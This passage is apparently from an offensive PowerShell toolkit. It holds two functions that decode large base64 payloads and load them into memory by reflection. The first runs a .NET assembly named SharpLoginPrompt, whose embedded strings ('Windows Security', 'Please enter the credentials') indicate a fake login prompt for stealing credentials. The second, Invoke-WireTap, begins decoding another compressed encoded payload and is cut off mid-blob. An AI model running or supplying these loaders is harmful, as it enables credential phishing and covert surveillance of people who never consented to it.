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"
10 $RAS = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64binary))
11
12 # Setting a custom stdout to capture Console.WriteLine output
13 # https://stackoverflow.com/questions/33111014/redirecting-output-from-an-external-dll-in-powershell
14 $OldConsoleOut = [Console]::Out
15 $StringWriter = New-Object IO.StringWriter
16 [Console]::SetOut($StringWriter)
17
18 [SharpLoginPrompt.Program]::main($Command.Split(" "))
19
20 # Restore the regular STDOUT object
21 [Console]::SetOut($OldConsoleOut)
22 $Results = $StringWriter.ToString()
23 $Results
24 }
0 function Invoke-WireTap
1 {
2
3 [CmdletBinding()]
4 Param (
5 [String]
6 $Command = ""
7
8 )
9 $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("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